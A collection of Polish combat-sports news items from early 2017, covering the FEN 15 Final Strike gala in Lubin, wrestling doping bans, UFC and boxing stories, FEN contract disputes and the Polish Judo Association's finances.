26-letni Mateusz Dąbrowski to kolejny podopieczny doświadczonego trenera Zbigniewa Prycha, który ma na swoim koncie wiele znakomitych osiągnięć. Przynależność do ścisłej krajowej czołówki potwierdził, dwukrotnie zdobywając tytuł mistrza Polski (w jednym z finałów pokonał weterana polskiego kickboxingu Jarosława Daschke). Zawodnik TKKF Olimp Legnica doskonale spisuje się również na międzynarodowych zawodach – w 2014 roku z Londynu przywiózł złoty medal mistrzostw świata federacji K-1 Global, a w 2015 roku w Insbrucku sięgnął po Puchar Świata WAKO w K-1. Zawodową karierę rozpoczął bardzo udanie – wygrał wszystkie trzy stoczone dotąd walki i zapowiada, że w debiucie w organizacji FEN dopisze do swego rekordu kolejne zwycięstwo.

Plany fightera z Legnicy spróbuje pokrzyżować inny debiutant w klatkoringu Fight Exclusive Night, zaledwie 19-letni Wojciech Kazieczko, jeden z najbardziej obiecujących polskich kickbokserów młodego pokolenia. Zawodnik Funfit Boxing Team Zielona Góra zwrócił na siebie uwagę, kiedy na ubiegłorocznych seniorskich mistrzostwach Polski w K-1 Rules zdobył tytuł wicemistrzowski, w drodze do finału nokautując wszystkich rywali. Wcześniej wywalczył także srebrny medal mistrzostw Europy juniorów w K-1 oraz tytuły mistrza Polski juniorów w formułach kick light, full contact i K-1. Wychowanek duetu trenerskiego Jakub Kozera i Patryk Proszek stoczył dotychczas dwie walki zawodowe – obie pewnie wygrał, pierwszą z nich przez nokaut, drugą na punkty.

W fight cardzie gali w lubińskiej hali RCS oprócz pojedynku Wojciecha Kazieczki z Mateuszem Dąbrowskim są jeszcze dwie inne walki w formule K-1, których stawką będą pasy mistrzowskie federacji FEN – w walce wieczoru o pas walczyć będą Paweł Biszczak i Wojciech Wierzbicki, a nieco wcześniej zmierzą się Róża Gumienna i Czeszka Martina Fendrichova. Kibiców czeka również sześć walk na zasadach MMA, w których wystąpią m.in. Albert Odzimkowski, Marcin Zontek, Kamil Gniadek, Oskar Somerfeld, Mateusz Rębecki oraz Adam Golonkiewicz.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

 

Cztery lata kary za doping

Zapaśnicy Bashir Asgari Babajanzadeh i Zubair Dibirov zostali zawieszeni na cztery lata za stosowanie niedozwolonych środków. 

Doping stał się chorobą sportu. Kibice i obserwatorzy łapią się za głowy, gdy na jaw wychodzą afery z udziałem kolejnych gwiazd. Doping również obecny jest w sportach walki. Tym razem cień padł na zapasy za sprawą zawodników z Azji Zachodniej.

Dotkliwa kara

Każdy wybryk spotka kara, jednak nie brakuje zawodników, którzy liczą na łut szczęścia. Wierzą, że kontrole antydopingowe ich ominą, a cały proceder uda się utrzymać w tajemnicy. Niedozwolone środki zniszczyły kolarstwo i legendę Lance'a Armstronga. Również w lekkoatletyce nie brakowało skandali dopingowych. W okresie zimowym warto przywołać również historię biegaczki Therese Johaug. Norweżkę przyłapano na stosowaniu sterydu anaboliczngo clostebolu. Specyfik znajdował się w kremie, który stosowała zawodniczki. Ze łzami w oczach Johaug tłumaczyła, że o niczym nie miała pojęcia i zaufała lekarzowi, który pozwolił jej używać maść.

Styczeń nie najlepiej rozpoczął się dla Bashira Asgariego Babajanzadeha z Iranu i Zubairu Dibirova z Azerbejdżanu. Międzynarodowa Federacja Zapaśnicza zawiesiła zawodników na cztery lata za naruszenie polityki antydopingowej. 27-letni Babajanzadeh startujący w wadze ciężkiej w stylu klasycznym ma za sobą występy w igrzyskach olimpijskich w Londynie i Rio de Janeiro. W Brazylii Irańczyk odpadł w ćwierćfinale z Eduardem Poppem. Babajanzadeh miał pozytywny wynik testosteronu przed majowym Pucharem Świata w Shiraz. Zawody skończyły się triumfem reprezentacji Iranu. Początkowa radość 27-latka przerodziła się w końcu w smutek i łzy. Babajanzadeh nie zdecydował się na zbadanie próbki B. Decyzja światowych władz była jednoznaczna: zawieszenie. Irańczyk otrzymał zakaz startów do 31 sierpnia 2020 roku. 

Kara dotknęła również Zubaira Dibirova. Zapaśnik z Azerbejdżanu miał pozytywny wynik stanozololu w organizmie podczas wrześniowych młodzieżowych mistrzostw świata w Macon. Dibirov również nie poddał się badaniu próbki B i został zawieszony na cztery lata. Zakaz będzie trwał do 4 października 2020 roku.

Przekreślone marzenia

W lipcu 2016 roku z marzeniami o występie w Igrzyskach Olimpijskich w Rio de Janeiro musiał pożegnać się Vinod Kumar. 30-latek reprezentujący Australię miał pozytywny wynik testu dopingowego podczas kwalifikacji kontynentalnych w Algierii. Wynik próbki B był również pozytywny.

Kolejne afera w zapasach wybuchła w sierpniu. Narsingh Yadav przygotowywał się do startu w Rio w kategorii do 74kg w stylu wolnym, jednak dzień przed startem został wyrzucony z indyjskiej kadry. W organizmie zawodnika wykryto metandienon. Yadav tłumaczył, że specyfik znajdował się w żywności. Hinduska Agencja Dopingowa uwierzyła zapaśnikowi, jednak Światowa Agencja Dopingowa była innego zdania i wykluczyła zawodnika ze startu.

KM

Conor McGregor w wersji kobiecej?

Conor McGregor jest najbardziej rozpoznawalną twarzą UFC. Irlandczyk umie zrobić wokół siebie zamieszanie, a w klatce poskramia kolejnych rywali. McGregor stał się punktem odniesienia dla Amandy Nunes. Mistrzyni UFC w wadze koguciej zamierza przeprowadzić atak na kolejny pas.

Do niedawna pierwsze skrzypce w amerykańskiej organizacji grała Ronda Rousey. Czas jej panowania dobiegł końca i popularna „Rowdy” dała sobie czas na przemyślenia. Czy miejsce Rousey na stałe zajmie Amanda Nunes? 

Myśli o kolejnym pasie

9 lipca na długo zostanie w pamięci Nunes. Na gali UFC 200 Brazylijka stanęła do rywalizacji z Mieshą Tate, która w swoich dłoniach dzierżyła pas mistrzowski kategorii koguciej. Amerykanka uchodziła za faworytkę starcia, jednak żywiołowa, pełna energii i niezwykle szybka Nunes w mgnieniu oka wypracowała sobie przewagę nad posiadaczką tytułu. Tate już w pierwszej rundzie musiała odklepać. Po nieco ponad trzech minutach walki Nunes znalazła się za plecami mistrzyni i perfekcyjnym duszeniem zza pleców zapewniła sobie triumf.

Specjalizująca się w judo i jiu-jitsu 27-latka w pierwszej obronie pasa miała zmierzyć się z Rondą Rousey. „Rowdy” straciła tytuł w listopadzie 2015 roku na rzec Holly Holm. W kolejnych miesiącach pas przechodził z rąk do rąk. Holm szybko straciła panowanie na rzecz Tate, a ta w pierwszej obronie uległa Nunes. Wydawało się, że Amerykanka ma szansę wrócić w wielkim stylu i sięgnąć po pas, jednak Nunes szybko wybiła jej te myśli z głowy. Od początku pojedynku Brazylijka ruszyła na byłą mistrzynię UFC i konsekwentnie rozbijała ją ciosami. W końcu wkroczył sędzia, który przerwał walkę.

Nunes obroniła pas, ale myśli o pobiciu nowej kategorii. Włodarze organizacji UFC utworzyli wagę piórkową, która stała się celem Brazylijki. Ta nie ukrywa, że chciałaby iść drogą McGregora. Irlandczyk jest posiadaczem dwóch pasów: w wadze lekkiej i piórkowej. – Rozważam walkę o pas kategorii piórkowej. Może będę miała dwa tytuły tak jak Conor McGregor – powiedziała mistrzyni wagi koguciej, ale zaznacza, że myśli o krótkiej przerwie. – Chcę trochę odpocząć, jednak czekam na starcie o pas kategorii piórkowej – dodała.

Szykuje się do zmiany

Rafael dos Anjos chce spróbować sił w wyżej kategorii wagowej. Były mistrz wagi lekkiej chce startować w kategorii średniej. 

W lipcu dos Anjos stracił pas kategorii lekkiej na rzecz Eddiego Alvareza. 32-latek podkreśla, że w ostatnim czasie miał problem z osiągnięciem wagi i zdecydował się podjąć kolejne wyzwania. Po dwóch porażka zamienia kategorię lekką na średnią. – Zdecydowałem się zacząć 2017 rok z nowymi wyzwaniami – wyjaśnił dos Anjos.

Fot. sherdog.com

KM

Były mistrz KSW Aslambek S. skazany za wymuszanie haraczy!

Przed sądem Rejonowym w Olsztynie zapadł wyrok w "procesie zawodników MMA" dotyczący dwóch Polaków i dwóch Czeczenów. Aslambek S., były mistrz organizacji KSW, został skazany na 10 miesięcy w zawieszeniu na 3 lata. Zawodnik MMA rozważa odwołanie od wyroku.

Aslambek S. w sierpniu 2014 roku został wraz z czterema innymi osobami zatrzymany przez Centralne Biuro Śledcze. Funkcjonariusze CBŚ zatrzymali go pod zarzutem działania w zorganizowanej grupie przestępczej – zarzucane im czyny to m.in. przestępstwa związane z wymuszaniem haraczy, groźbami karalnymi i pobiciami.

Wszystkich czterech oskarżonych, m.in. o nielegalne odzyskiwanie długów, otrzymało wyroki w zawieszeniu. Piotr P. i Michał Sz. (były mistrz PLMMA w wadze średniej) zostali skazani na 2 lata więzienia w zawieszeniu na 5 lat i dozór kuratora. Aslan A. usłyszał wyrok 1,5 roku więzienia w zawieszeniu na 3 lata, a Aslambek S. – 10 miesięcy w zawieszeniu na 3 lata. Obaj wymienieni na końcu również otrzymali dozór kuratora.

Sąd w Olsztynie przy ogłaszaniu wyroku podkreślił, że w Olsztynie nie istnieje żaden gang Czeczenów, ani wymuszenia haraczy. Aslambek S. rozważa odwołanie od wyroku.

Źródło: PolsatSport

Cotto chce zejść z ringu

Kilka miesięcy temu Miguel Cotto zapowiedział, że w 2017 roku zamierza zakończyć karierę bokserską. 25 lutego wybitny portorykański pięściarz zmierzy się z Jamesem Kirklandem. Czy będzie to ostatni pojedynek byłego mistrza WBC wagi średniej?

Bogata, pełna sukcesów kariera sprawiła, że Cotto stał się marką rozpoznawalną na całym świecie. Portorykańczyk prezentował się w ringu efektownie, czym zaskarbił sobie sympatię tłumów. Trudno sobie wyobrazić, że niebawem jego starcia pozostaną tylko i wyłącznie wspomnieniem.

Rodzina jest najważniejsza

W listopadzie ubiegłego roku „Juanito” oświadczył, że w ramach kontraktu z Roc Nation musi stoczyć jeszcze jedną walkę. Od razu ruszyła giełda nazwisk, na której pojawili się m. in. Juan Manuel Marquez, Timothy Bradley czy Saul Alvarez. Temperatura wzrosła, gdyż Cotto zaznaczył, że w 2017 roku pożegna się z ringiem. 

25 lutego Cotto w Ford Center at The Star w Frisco zmierzy się z Jamesem Kirklandem, ale nie musi to być ostatni pojedynek w karierze Portorykańczyka. Bokser nie wykluczył, że stoczy w tym roku jeszcze jedną walkę. Nie zmienił jednak stanowiska, co do zakończenia kariery. Cotto podjął decyzję, że nadszedł właściwy czas, aby powiedzieć „dość” i oddać się w całości rodzinnie. –  Podstawowy powód mojego odejścia to rodzina. Boks pozwolił mi dać moim dzieciom to, co najlepsze. W przypadku mojej emerytury interesuje mnie tylko zdanie moich bliskich – powiedział Cotto. 

Zatem Cotto ma jeszcze półtora miesiąca, żeby jak najlepiej przygotować się do starcia z Kirklandem. Dla obu będzie to powrót po dłuższej nieobecności. Co warte uwagi, Cotto i Kirkland w ostatnich starciach ponieśli porażki z rąk Saula Alvareza. Portorykańczyk rywalizował z Meksykaninem w listopadzie 2015 roku, a Amerykanin pół roku wcześniej. 

Bogata kariera

Przez ponad dziesięć lat Cotto utrzymywał się na bokserskim szczycie. We wrześniu 2004 roku zdobył pierwszy tytuł w karierze. Przez techniczny nokaut w szóstej rundzie pokonał Brazylijczyka Kelsona Pinto i sięgnął po pas WBO w kategorii junior półśredniej.

W kolejnych latach kariera Cotto nabierała rozpędu. Portorykańczyk dobrze radził sobie w wyższych kategoriach wagowych. W grudniu 2006 roku wywalczył pas WBA wagi półśredniej. Trzy lata później dołożył tytuł WBO. W swojej kolekcji miał również pas WBA w kategorii lekkośredniej oraz WBC w kategorii średniej. 

Mierzący 170 cm bokser zawsze imponował szybkością i efektownością. 7 czerwca 2014 roku wszedł do ringu z Sergio Martinezem o pas WBC w wadze średniej. Faworytem starcia był Argentyńczyk, który warunkami fizycznymi przewyższał Cotto. Portorykańczyk już w pierwszej rundzie pokazał charakter i Martinez trzy raz lądował na deskach!

21 listopada 2015 przegrał z Saulem Alvarezem. Stawką pojedynku był pas mistrza świata WBC w wadze średniej. Cotto zdawał sobie sprawę z atutów rywala i unikał wymian, miał również przewagę szybkości nad Meksykaninem. Jednogłośnie na punkty wygrał Alvarez, co wzbudziło spore kontrowersje. Teraz 36-latek zapewnia, że w starciu z Kirklandem da z siebie wszystko. Zwycięstwo będzie pięknym ukoronowaniem jego kariery.

Fot. zdjęcie poglądowe

KM  

Komunikat ws. kary finansowej dla Romana Szymańskiego

Federacja Fight Exclusive Night informuje o nałożeniu na Romana Szymańskiego kary pieniężnej w związku z naruszeniem przez zawodnika obowiązującej go umowy zawartej z organizacją FEN. Poniżej publikujemy pełną treść komunikatu  zarządu FEN w tej sprawie.

„Po dokładnym przeanalizowaniu zaistniałej sytuacji oraz postanowień umowy zawartej przez federację Fight Exclusive Night z Romanem Szymańskim, Zarząd FEN podjął decyzję o nałożeniu na zawodnika kary umownej w wysokości 60 tysięcy złotych, która jest konsekwencją wzięcia przez niego udziału w gali KSW 37 w dniu 3 grudnia 2016 roku w Krakowie. Kara wynika z naruszenia przez zawodnika paragrafu 14 umowy, mówiącego o zakazie uczestniczenia w wydarzeniach sportowych organizowanych przez podmioty inne niż federacja Fight Exclusive Night bez zgody Zarządu FEN:

„§ 14 Umowy: Zawodnik nie może brać udziału w żadnym współzawodnictwie sportowym zawierającym element walki, bez względu na jego formę i miejsce, na 4 tygodnie przed każdą Galą oraz zobowiązuje się nie uczestniczyć w żadnym wyżej opisanym współzawodnictwie, bez względu na jego formułę, miejsce i termin, w czasie obowiązywania niniejszej umowy bez uzyskania pisemnej zgody Organizatora”.

Jednocześnie Zarząd FEN informuje, że kara będzie nakładana na zawodnika po każdym kolejnym naruszeniu postanowień umowy poprzez uczestnictwo zawodnika w wydarzeniach organizowanych przez inne podmioty, a także w przypadku, gdy zawodnik odmówi wzięcia udziału w zawodach organizowanych przez Fight Exclusive Night”.

FEN

FEN 15 Final Strike: official trailer

Fight Exclusive Night od mocnego uderzenia rozpoczyna rok 2017! Zobaczcie oficjalną zapowiedź gali FEN 15 Final Strike, 14 stycznia w lubińskiej hali RCS, podczas której o pasy organizacji FEN walczyć będą mistrzowie świata i Europy!

Najważniejszymi wydarzeniami gali FEN 15 Final Strike będą dwie walki o tytuły mistrzów federacji Fight Exclusive Night w formule K-1, w których zmierzą się kickbokserzy zaliczani do światowej czołówki: Róża Gumienna i Martina Fendrichova oraz Paweł Biszczak i Wojciech Wierzbicki. Z kolei na zasadach MMA 14 stycznia w hai RCS w Lubinie walczyć będą największe gwiazdy organizacji, najlepsi zawodnicy dolnośląskich klubów oraz świetni fighterzy z zagranicy, m.in. Marcin Zontek z Francuzem Boubacarem Balde, Kamil Gniadek z Michałem Michalskim, Albert Odzimkowski z Oskarem Somerfeldem i Amerykanin Matt Horwich z Filipem Tomczakiem.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

[kod]

Czas na przemyślenia

Dwa lata temu Ronda Rousey przygotowywała się do kolejnej obrony mistrzowskiego pasa UFC w kategorii koguciej. 28 lutego w zaledwie czternaście sekund rozprawiła się z Cat Zingano. Teraz 29-latka znajduje się w zupełnie innym miejscu. Potrzebuje czasu, aby zastanowić się nad swoją przyszłością.

Wejść na szczyt jest łatwo, trudniej się na nim utrzymać, a upadek bywa bolesny. Ronda Rousey odczuła to na własnej skórze.

Powrót i porażka

Po udanej przygodzie z organizację Strikeforce, Rousey trafiła do UFC. Szybko stała się gwiazdą najlepszej organizacji MMA na świecie. Jej walki były widowiskowe, emocjonujące i… szybkie. Amerykanka potrafiła rozprawić się z rywalką w mniej niż dwadzieścia sekund! Stała się motorem napędowym UFC i ulubienicą Dana White. Wszystko było jak w bajce. Brązowa medalistka igrzysk olimpijskich w Pekinie w judo stała się gwiazdą MMA.

Wydawało się, że nikt jej nie zatrzyma. Była niepokonana, a kolejne walki rozstrzygała na swoją korzyść niczym błyskawica i ani razu nie walczyła na pełnym dystansie. Pierwszy szok świat MMA przeżył 14 listopada 2015 roku. W kolejnej obronie mistrzowskiego pasa Rousey zmierzyła się z Holly Holm. Była mistrzyni boksu nie pozwoliła „Rowdy” rozwinąć skrzydeł. W drugiej rundzie Holm wyprowadziła wysokie kopnięcie i znokautowała rywalkę. Po porażce Rousey zniknęła i zajęła się sobą. Przede wszystkim leczyła kontuzję, ale ciągle myślała o powrocie. Również Dan White wiedział, że będzie to wielkie wydarzenie. Powrót Rousey do rywalizacji zaplanowano 30 grudnia 2016 roku.

Pojawiła się w klatce po ponad roku przerwy. Od razu dostała szansę na odzyskanie mistrzowskiego tytułu, ale już z rąk Amandy Nunes. Brazylijka nie oddała pasa zdobytego w walce z Mieshą Tate. Nunes, tak jak kiedyś Rousey, szybko załatwiła sprawę. Konsekwentnie rozbijała prawym rywalkę i w końcu sędzia przerwał pojedynek. Dramat Rousey, która teraz musi wszystko przemyśleć i podjąć decyzję, co dalej.

Zamknęła się w sobie

Dla amerykańskiej fighterki to ogromny cios. Przegrała drugą walkę w karierze i należy dodać, że była to porażka poniesiona w fatalnym stylu.

Rousey unikała kamer i zwierzeń, jednak w końcu wydała oświadczenie. – Bywa, że mimo przygotowań i tego, że dajesz z siebie wszystko i pragniesz czegoś tak mocno, to nie musi to pójść zgodnie z planem – napisała.

„Rowdy” musi spojrzeć na wszystko z dystansu. – Potrzebuję wziąć trochę czasu wolnego, żeby to wszystko przemyśleć i zastanowić się nad przyszłością. Dziękuję wam za wiarę we mnie i zrozumienie – przedstawiła amerykańska zawodniczka.

Za walkę z Nunes, Rousey zgarnęła 3 miliony dolarów. Była mistrzyni UFC nadal jest mocnym nazwiskiem w kobiecym MMA. Pytanie, czy będzie potrafiła unieść psychicznie ostatnią porażkę i wrócić do dalszej rywalizacji. 

KM

Komunikat federacji FEN ws. oświadczenia Tyberiusza Kowalczyka

W odpowiedzi na opublikowane na Facebooku oświadczenie Tyberiusza Kowalczyka o zakończeniu współpracy z federacją Fight Exclusive Night prezentujemy stanowisko zarządu naszej organizacji w tej sprawie.

„W związku z oświadczeniem Tyberiusza Kowalczyka, zamieszczonym w dniu 30 grudnia 2016 roku na oficjalnym profilu zawodnika na Facebooku, informującym o zakończeniu przez niego współpracy z organizacją Fight Exclusive Night, oświadczamy, iż jest on nadal zawodnikiem naszej federacji i jego udział w walkach dla jakiejkolwiek innej organizacji będzie rażącym naruszeniem postanowień obowiązującego go kontraktu zawartego z naszą federacją, ze wszelkimi konsekwencjami prawno-finansowymi wynikającymi z jego zapisów.

Zarząd federacji Fight Exclusive Night”

FEN

Wysokie żądania finansowe Pacquiao

Manny Pacquaio przymierza się do kolejnego wyzwania. Coraz głośniej mówi się o starciu boksera z Filipin z mistrzem WBC i WBO wagi super lekkiej Terencem Crawfordem. Pacquiao jest gotowy wejść na ring, ale stawia warunki. Na stole musi pojawić się 20 milionów dolarów.

38-letni „Pacman” nie wytrzymał zbyt długo bez boksu. Postanowił zakończyć karierę po kwietniowej wygranej z Timothy'm Bradley'em, ale już w listopadzie ponownie pojawił się w ringu. Doświadczony Pacquiao pokonał Jessiego Vargasa i sięgnął po pas mistrza świata WBO wagi półśredniej.

Kasa musi się zgadzać

Mówi się, że „pieniądze szczęścia nie dają”, jednak pustka w portfelu nie jest niczym przyjemnym. Pamiętacie polską komedię „Pieniądze to nie wszystko”? Jeden z bohaterów, mający poetyckie inklinacje Rysio wymyślił hasło, które miało zagrzewać do pracy w wytwórni płynów wysokoprocentowych i umieścił je na budynku. Brzmiało mniej więcej tak: „Piniondze to nie fszysko, ale fszysko bez piniendzy to h..” (pisownia oryginalna).

Także po materialnym wprowadzeniu przyszedł czas na bokserskie konkrety. Nie da się ukryć, że gaża jest jednym z ważniejszych elementów show jakim jest walka. Doświadczony Manny Pacquiao w obliczu kolejnego wyzwania chce zadbać o sowitą zapłatę. 38-latek miałby zmierzyć się z Terencem Crawfordem i liczy na minimum 20 milionów dolarów. – Jeśli Top Rank, chce dla Manny Pacquiao walki z Crawfordem, to możemy ją zorganizować. Chcemy jednak gwarancję 20 milionów dolarów – powiedział amerykańskim mediom Mike Koncz, doradca pięściarza z Filipin.

Za poprzednią walkę Pacquiao zgarnął „tylko” 4 miliony dolarów. W listopadzie pokonał Jessiego Vargasa, ale teraz miałby zmierzyć się z mocniejszym rywalem. Oczywiste więc, że Pacquiao chce zdecydowanie większej gaży. Tym samym 38-latek zasygnalizował gotowość do podjęcia wyzwania. Pojawiły się już głosy, że dla „Pacmana” może to być ostatni wielki pojedynek. 29-letni Crawford to posiadacz dwóch mistrzowskich pasów, który w zawodowej karierze jeszcze nigdy nie przegrał.

Kiedy walka?

Wszystko jest do ustalenia. Wiadomo, że Pacquiao karierę bokserską musi łączyć z obowiązkami… senatora Filipin. Izba parlamentu kończy pracę w połowie marca, więc walka możliwa byłaby dopiero na wiosnę. Wszystko jest kwestią porozumienia między przedstawicielami obu stron. Z pewnością będzie to o tyle łatwiejsze, że Pacquiao i Crawford są promowani przez Top Rank.

Warto również wspomnieć o problemach mistrza kategorii junior półśredniej federacji WBC i WBO. W grudniu Crawford został skazany na dwa miesiące więzienia. Kara jest pokłosiem kłótni z właścicielem warsztatu samochodowego i uszkodzenia w nim podnośnika hydraulicznego. Zdarzenie miało miejsce w kwietniu ubiegłego roku.

Ostatnią walkę Crawford stoczył 10 grudnia. Pokonał przed czasem Johna Molinę Juniora.

KM

800 tys. zł uratowało związek

Ostatnie dni 2016 roku były niezwykle gorące dla Polskiego Związku Judo. Wszystko przez problemy finansowe. Rzutem na taśmę udało się uregulować zaległości wobec Ministerstwa Sportu i Turystyki.

Polskie judo czeka na sukces i rozgłos. W grudniu za sterami Polskiego Związku Judo zasiadł Jacek Zawadka, który w II turze wyborów zmierzył się z Krzysztofem Wiłkomirskim. Były zawodnik Gwardii Warszawa wygrał różnicą dziewięciu głosów (119:110). W pierwszych dniach swojej pracy musiał stawić czoła wyzwaniom oraz wykazać się skutecznością.

Brak kasy

Po zwycięskich wyborach Jacek Zawadka wystosował otwarty list, w którym podziękował wszystkim za zaufanie i zachęcał do wspólnego działania na rzecz rozwoju polskiego judo. Zasygnalizował także problem natury finansowej. – Wstępna analiza matematyczna (potrzeba jeszcze księgowej) wskazuje na brak około 900 tysięcy złotych w kasie (dokładne informacje podamy wkrótce). Tę kwotę PZJudo musi spłacić do końca roku. Oznacza to, że na procedury, ukonstytuowanie zarządu, zaciągnięcie nowej pożyczki (i znalezienie pożyczkodawcy!) mamy jedynie kilka dni. To wyzwanie, któremu należy sprostać – napisał Zawadka.

Było to 20 grudnia, a więc w Polskim Związku Judo musiało być gorąco. Dwa dni później odbyło się zebranie, podczas którego wyłoniono zarząd na kadencję 2016-2020. Wiceprezesami PZJ zostali Cezary Borzęcki (sprawy sportowe) oraz Juliusz Kowalczyk (sprawy organizacyjne). Andrzej Falkiewicz będzie piastował funkcję sekretarza. Członkami zarządu zostali: Jacek Biernat, Tomasz Gadaj, Andrzej Jasiński, Józef Popek, Zenon Mościński, Adam Poździk i Mariusz Radziewski.

Podczas zebrania zarządu podjęto dwie istotne uchwały, które pomogły uporać się ze zobowiązaniami wobec ministerstwa. Włodarze zdecydowali się na zaciągnięcie pożyczek. 490 tys. zł pochodzi z Funduszu PAFPIO. – Dopełnienia formalności związanych z podpisaniem umowy pożyczki i weksla in blanco stanowiącego zabezpieczenie spłaty pożyczki powierza się Prezesowi Polskiego Związku Judo p. Jackowi Zawadce oraz następującym członkom zarządu: p. Cezaremu Borzęckiemu i p. Mariuszowi Radziewskiemu – czytamy w uchwale 3/1/2016, nad którą głosowało 10 członków zarządu i wszyscy byli jednomyślni. Związek zaciągnął również pożyczkę w klubie Czarni Bytom na kwotę 460 tys. zł. W tym przypadku również wszyscy głosujący byli „za”.

Udało się

Problemy zostały zażegnane. – W dniu 30 grudnia 2016 r. udało nam się uratować Polski Związek Judo przed likwidacją. Wszystkie płatności wynikające z umów zawartych z MSiT w kwocie 805.000 zł zostały w terminie opłacone – poinformował Jacek Zawadka.

Jednocześnie prezes PZJudo wyraził nadzieję, że kolejne miesiące będą lepsza, a ciężka praca wyda owoce. – Wiemy, że nadchodzący 2017 rok będzie dla nas bardzo wymagający, ale wierzymy, że wspólne działania doprowadzą nas do sukcesów. Proszę raz jeszcze o cierpliwość w realizacji naszego programu, którego pozytywne skutki odczujemy już w niedalekiej przyszłości, a przyjęta strategia rozwoju naszego związku, pozwoli w sposób mądry wydatkować dotacyjne finanse – przedstawił Zawadka.

KM

Róża Gumienna vs Martina Fendrichova w walce o pas na FEN 15 Final Strike

Prawdziwa kickbokserska wojna czeka kibiców w pierwszej w historii kobiecej walce o pas mistrzowski organizacji Fight Exclusive Night! Róży Gumiennej, gwieździe federacji i multimedalistce mistrzostw Polski, Europy i świata, 14 stycznia podczas gali FEN 15 Final Strike w Lubinie stawi bowiem czoła utytułowana, równie twardo i ofensywnie walcząca Martina Fendrichova z Czech.

Róża Gumienna na walkę o tytuł mistrzyni Fight Exclusive Night w K-1 zapracowała trzema świetnymi, zwycięskimi występami w klatkoringu tej organizacji. Debiutowała w marcu 2015 roku, pokonując na gali FEN 6 Showtime Veronikę Cmarovą ze Słowacji, pół roku później na gali FEN 9 Go For It wygrała pojedynek z Katarzyną Posiadałą, a latem ubiegłego roku podczas FEN 13 Summer Edition zwyciężyła Kamilę Bałandę.

Do walki z Martiną Fendrichovą zawodniczka Punchera Wrocław przystąpi jako aktualna wicemistrzyni Europy WAKO w K-1. Na swoim koncie podopieczna Janusza Jankowskiego, oprócz seryjnie zdobywanych tytuł mistrzyni Polski, ma także pas mistrzyni świata WAKO w formule low-kick z 2013 roku, zdobyty w tym samym roku Puchar Świata w low-kick oraz wywalczony rok później Puchar Świata w K-1 i brązowy medal mistrzostw Europy w K-1.

Martina Fendrichova, aktualna mistrzyni Europy WAKO w formule kick-light, to jedna z najlepszych zawodniczek kick-boxingu na Starym Kontynencie. Dorobek medalowy Czeszki jest imponujący – ma na swoim koncie m.in. brązowy medal mistrzostw świata WAKO w K-1, tytuły mistrzyni świata WKA w K-1 i full contact oraz pasy mistrzyni Europy WKF w K-1 i full contact. Dwukrotnie stawała do walki o tytuł zawodowej mistrzyni świata, jednak pasa nie udało jej się zdobyć.

Zawodniczka klubu Iron Fighters Kickboxing z Liberca, która na gali Fen 15 Final Strike po raz pierwszy wystąpi w klatkoringu Fight Exclusive Night, trenuje pod okiem Aloisa Skerika, głównego trenera reprezentacji Czech.

W fight cardzie gali w lubińskiej hali RCS oprócz pojedynku Róży Gumiennej i Martiny Fendrichovej są jeszcze dwie inne walki w formule K-1. W karcie wstępnej zmierzą się Eliasz Jankowski z Wojciechem Kazieczko, a w walce wieczoru o pas mistrzowski walczyć będą Paweł Biszczak i Wojciech Wierzbicki. Kibiców czeka również sześć walk na zasadach MMA, m.in. Marcina Zontka z Francuzem Boubacarem Balde, Kamila Gniadka z Michałem Michalskim, Alberta Odzimkowskiego z Oskarem Somerfeldem i Amerykanina Matta Horwicha z Filipem Tomczakiem.

Bilety na styczniową galę FEN 15 w Lubinie można kupować w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 15 na bieżąco na fanpage’u FEN na Facebooku.

FEN

Rodrigo kontra Chińczyk w karcie walk FEN 15 FinalStrike

Federacja Fight Exclusive Night ogłosiła nazwisko zawodnika, z którym 14 stycznia na gali FEN 15 FinalStrike w Lubinie zmierzy się Adam Golonkiewicz z NextLevel BJJ Opole. Będzie nim powracający do MMA po dłuższej przerwie reprezentant Berserker’s Team Szczecin Mateusz „Chińczyk” Rębecki.

Dla 24-letniego Mateusza Rębeckiego (4-1) będzie to piąta zawodowa walka MMA w karierze, ale pierwsza po blisko półtorarocznej przerwie. Ostatni raz „Chińczyk” walczył w sierpniu 2015 roku na gali FEN 8 Summer Edition, w debiucie dla organizacji Fight Exclusive Night poddając w pierwszej rundzie Jacka Krefta. Od tego momentu utalentowany zawodnik Berserker’s Team Szczecin intensywnie trenował i startował w zawodach w ju-jitsu ne-waza. Jako reprezentant Polski w tej formule brał udział w turniejach eliminacyjnych oraz w turnieju finałowym mistrzostw świata, w którym w listopadzie we Wrocławiu zajął ostatecznie czwarte miejsce w kategorii do 77 kg. Wcześniej fighter z Gryfic został także podwójnym mistrzem Polski ADCC w submission fighting i zdobył wicemistrzostwo kraju w brazylijskim ju-jitsu w kategorii niebieskich pasów.

26-letni Adam Golonkiewicz (11-9), który wywodzi się z brazylijskiego ju-jitsu, na styczniowej gali FEN 15 FinalStrike po raz czwarty wejdzie do klatkoringu Fight ExclusiveNight. „Rodrigo” w swoim debiucie na FEN 9 Go For It wspólnie z Romanem Szymańskim zafundował publiczności we Wrocławiu wielkie widowisko, nagrodzone Heraklesem za Najlepszą Walkę Roku 2015. Po tym znakomitym pojedynku, w którym sędziowie dość kontrowersyjnie za zwycięzcę uznali jego rywala, Golonkiewicz przegrał także na kolejnej gali, ulegając w pierwszej rundzie Jackowi Kreftowi. Zaufanie kibiców i włodarzy federacji odzyskał jednak szybkim, efektownym zwycięstwem przez TKO nad Albańczykiem z włoskim paszportem Elio Caiaffą podczas FEN 12 Feel The Force. Wcześniej wychowanek Damiana Grabowskiego na zawodowych arenach wygrywał m.in. z Kamilem Łebkowskim i Bartłomiejem Kurczewskim.

